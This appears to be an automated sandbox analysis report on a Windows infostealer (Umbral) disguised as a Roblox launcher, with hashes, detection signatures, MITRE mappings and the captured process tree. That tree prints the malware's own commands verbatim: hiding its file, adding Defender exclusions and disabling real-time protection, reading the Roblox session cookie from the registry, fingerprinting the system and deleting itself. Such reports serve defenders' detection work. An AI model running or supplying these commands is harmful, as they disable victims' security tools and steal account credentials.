umbral | fb62df7d72d084f755b3eb181c44287fedc95b0e01fd1033e4c60add76432ff7

Analysis

max time kernel
92s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
13-04-2024 10:34

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General

Target

pluh/external roblox launcher.exe
Size

229KB
MD5

65536dc4bcafc3ee3c1dcf7ed64c12df
SHA1

e1ca248ae2ef47a6b89ad6fb155f4d5ec3674e9c
SHA256

98e7e144b7bc45bd52601d093b1e447cf486bf2e8cd2ba84e8325e2d7b269662
SHA512

25f5043750e42d312b879dcb1b37bc4621790f7402befa21578818c8de6020f1983a984bde79eeaca60b3cd12654fe2dae6e728826e0c4da3794be3519d3bcc2
SSDEEP

6144:OwloZM3fsXtioRkts/cnnK6cMlkCanywvrY8hkijD6yBeb8e1mvpi:PoZ1tlRk83MlkCanywvrY8hkijD6yQiw

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/224-0-0x000001D5FA780000-0x000001D5FA7C0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	external roblox launcher.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4116	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4680	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
224	external roblox launcher.exe
3564	powershell.exe
3564	powershell.exe
4100	powershell.exe
4100	powershell.exe
3816	powershell.exe
3816	powershell.exe
1168	powershell.exe
1168	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	224	external roblox launcher.exe
Token: SeIncreaseQuotaPrivilege	2664	wmic.exe
Token: SeSecurityPrivilege	2664	wmic.exe
Token: SeTakeOwnershipPrivilege	2664	wmic.exe
Token: SeLoadDriverPrivilege	2664	wmic.exe
Token: SeSystemProfilePrivilege	2664	wmic.exe
Token: SeSystemtimePrivilege	2664	wmic.exe
Token: SeProfSingleProcessPrivilege	2664	wmic.exe
Token: SeIncBasePriorityPrivilege	2664	wmic.exe
Token: SeCreatePagefilePrivilege	2664	wmic.exe
Token: SeBackupPrivilege	2664	wmic.exe
Token: SeRestorePrivilege	2664	wmic.exe
Token: SeShutdownPrivilege	2664	wmic.exe
Token: SeDebugPrivilege	2664	wmic.exe
Token: SeSystemEnvironmentPrivilege	2664	wmic.exe
Token: SeRemoteShutdownPrivilege	2664	wmic.exe
Token: SeUndockPrivilege	2664	wmic.exe
Token: SeManageVolumePrivilege	2664	wmic.exe
Token: 33	2664	wmic.exe
Token: 34	2664	wmic.exe
Token: 35	2664	wmic.exe
Token: 36	2664	wmic.exe
Token: SeIncreaseQuotaPrivilege	2664	wmic.exe
Token: SeSecurityPrivilege	2664	wmic.exe
Token: SeTakeOwnershipPrivilege	2664	wmic.exe
Token: SeLoadDriverPrivilege	2664	wmic.exe
Token: SeSystemProfilePrivilege	2664	wmic.exe
Token: SeSystemtimePrivilege	2664	wmic.exe
Token: SeProfSingleProcessPrivilege	2664	wmic.exe
Token: SeIncBasePriorityPrivilege	2664	wmic.exe
Token: SeCreatePagefilePrivilege	2664	wmic.exe
Token: SeBackupPrivilege	2664	wmic.exe
Token: SeRestorePrivilege	2664	wmic.exe
Token: SeShutdownPrivilege	2664	wmic.exe
Token: SeDebugPrivilege	2664	wmic.exe
Token: SeSystemEnvironmentPrivilege	2664	wmic.exe
Token: SeRemoteShutdownPrivilege	2664	wmic.exe
Token: SeUndockPrivilege	2664	wmic.exe
Token: SeManageVolumePrivilege	2664	wmic.exe
Token: 33	2664	wmic.exe
Token: 34	2664	wmic.exe
Token: 35	2664	wmic.exe
Token: 36	2664	wmic.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeIncreaseQuotaPrivilege	4436	wmic.exe
Token: SeSecurityPrivilege	4436	wmic.exe
Token: SeTakeOwnershipPrivilege	4436	wmic.exe
Token: SeLoadDriverPrivilege	4436	wmic.exe
Token: SeSystemProfilePrivilege	4436	wmic.exe
Token: SeSystemtimePrivilege	4436	wmic.exe
Token: SeProfSingleProcessPrivilege	4436	wmic.exe
Token: SeIncBasePriorityPrivilege	4436	wmic.exe
Token: SeCreatePagefilePrivilege	4436	wmic.exe
Token: SeBackupPrivilege	4436	wmic.exe
Token: SeRestorePrivilege	4436	wmic.exe
Token: SeShutdownPrivilege	4436	wmic.exe
Token: SeDebugPrivilege	4436	wmic.exe
Token: SeSystemEnvironmentPrivilege	4436	wmic.exe
Token: SeRemoteShutdownPrivilege	4436	wmic.exe
Token: SeUndockPrivilege	4436	wmic.exe
Token: SeManageVolumePrivilege	4436	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 224 wrote to memory of 2664	224	external roblox launcher.exe	87
PID 224 wrote to memory of 2664	224	external roblox launcher.exe	87
PID 224 wrote to memory of 4296	224	external roblox launcher.exe	92
PID 224 wrote to memory of 4296	224	external roblox launcher.exe	92
PID 224 wrote to memory of 3564	224	external roblox launcher.exe	94
PID 224 wrote to memory of 3564	224	external roblox launcher.exe	94
PID 224 wrote to memory of 4100	224	external roblox launcher.exe	96
PID 224 wrote to memory of 4100	224	external roblox launcher.exe	96
PID 224 wrote to memory of 3816	224	external roblox launcher.exe	100
PID 224 wrote to memory of 3816	224	external roblox launcher.exe	100
PID 224 wrote to memory of 1168	224	external roblox launcher.exe	102
PID 224 wrote to memory of 1168	224	external roblox launcher.exe	102
PID 224 wrote to memory of 4436	224	external roblox launcher.exe	105
PID 224 wrote to memory of 4436	224	external roblox launcher.exe	105
PID 224 wrote to memory of 3636	224	external roblox launcher.exe	107
PID 224 wrote to memory of 3636	224	external roblox launcher.exe	107
PID 224 wrote to memory of 2016	224	external roblox launcher.exe	109
PID 224 wrote to memory of 2016	224	external roblox launcher.exe	109
PID 224 wrote to memory of 1448	224	external roblox launcher.exe	111
PID 224 wrote to memory of 1448	224	external roblox launcher.exe	111
PID 224 wrote to memory of 4116	224	external roblox launcher.exe	113
PID 224 wrote to memory of 4116	224	external roblox launcher.exe	113
PID 224 wrote to memory of 4768	224	external roblox launcher.exe	115
PID 224 wrote to memory of 4768	224	external roblox launcher.exe	115
PID 4768 wrote to memory of 4680	4768	cmd.exe	117
PID 4768 wrote to memory of 4680	4768	cmd.exe	117

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4296	attrib.exe

C:\Users\Admin\AppData\Local\Temp\pluh\external roblox launcher.exe
"C:\Users\Admin\AppData\Local\Temp\pluh\external roblox launcher.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:224
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\pluh\external roblox launcher.exe"
  2⤵
  - Views/modifies file attributes
  PID:4296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\pluh\external roblox launcher.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1168
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3636
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1448
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\pluh\external roblox launcher.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
107102102e02e48f37f5318c7e113c43

SHA1
7fb10fc65c85fb4c050309f0872bc9389dcccc0d

SHA256
3c3f49948c1e832c86b959c32bc288ddedb500534b74df082f8967fc7f9976f7

SHA512
b108a47d7c3dd154cad44362b6cd557b7064096383d100e6cd64bfb19c4e2ad878ed4ee800776322ad3cc4bb721fb675b0ecab8f5661024188fa3aa19561841b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1666d84e995cdeb9365263fc9996655c

SHA1
004634498b8b7e964437d4a9f1d249508e9397b8

SHA256
b389a8b776cdf3c937c075c0913e454808d3a450c425cc7faac939643fac6e10

SHA512
2622ee8392ec7dd6307059cd89d3a06eed1c60e0b895d2bd09da745d0d6ae1310ca9af882d0e36014759e82cc6cfd730480abebdee88a435a85ee9bda6bbed1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oe1v0ypy.b4p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/224-86-0x000001D5FCEA0000-0x000001D5FCEB2000-memory.dmp

Filesize
72KB

Download
memory/224-0-0x000001D5FA780000-0x000001D5FA7C0000-memory.dmp

Filesize
256KB

Download
memory/224-36-0x000001D5FCEF0000-0x000001D5FCF66000-memory.dmp

Filesize
472KB

Download
memory/224-37-0x000001D5FCF70000-0x000001D5FCFC0000-memory.dmp

Filesize
320KB

Download
memory/224-107-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/224-81-0x000001D5FABA0000-0x000001D5FABB0000-memory.dmp

Filesize
64KB

Download
memory/224-64-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/224-2-0x000001D5FABA0000-0x000001D5FABB0000-memory.dmp

Filesize
64KB

Download
memory/224-1-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/224-38-0x000001D5FAC60000-0x000001D5FAC7E000-memory.dmp

Filesize
120KB

Download
memory/224-85-0x000001D5FCE70000-0x000001D5FCE7A000-memory.dmp

Filesize
40KB

Download
memory/1168-70-0x0000021FE11F0000-0x0000021FE1200000-memory.dmp

Filesize
64KB

Download
memory/1168-83-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/1168-68-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/1168-69-0x0000021FE11F0000-0x0000021FE1200000-memory.dmp

Filesize
64KB

Download
memory/1448-89-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/1448-90-0x00000188C32F0000-0x00000188C3300000-memory.dmp

Filesize
64KB

Download
memory/1448-102-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-6-0x0000029419C00000-0x0000029419C10000-memory.dmp

Filesize
64KB

Download
memory/3564-5-0x0000029419C00000-0x0000029419C10000-memory.dmp

Filesize
64KB

Download
memory/3564-4-0x000002947FCE0000-0x000002947FD02000-memory.dmp

Filesize
136KB

Download
memory/3564-3-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-17-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/3816-39-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/3816-67-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/3816-65-0x0000020C79EF0000-0x0000020C79F00000-memory.dmp

Filesize
64KB

Download
memory/3816-41-0x0000020C79EF0000-0x0000020C79F00000-memory.dmp

Filesize
64KB

Download
memory/3816-40-0x0000020C79EF0000-0x0000020C79F00000-memory.dmp

Filesize
64KB

Download
memory/4100-33-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download
memory/4100-31-0x0000020B370F0000-0x0000020B37100000-memory.dmp

Filesize
64KB

Download
memory/4100-20-0x0000020B370F0000-0x0000020B37100000-memory.dmp

Filesize
64KB

Download
memory/4100-19-0x0000020B370F0000-0x0000020B37100000-memory.dmp

Filesize
64KB

Download
memory/4100-18-0x00007FFC47F20000-0x00007FFC489E1000-memory.dmp

Filesize
10.8MB

Download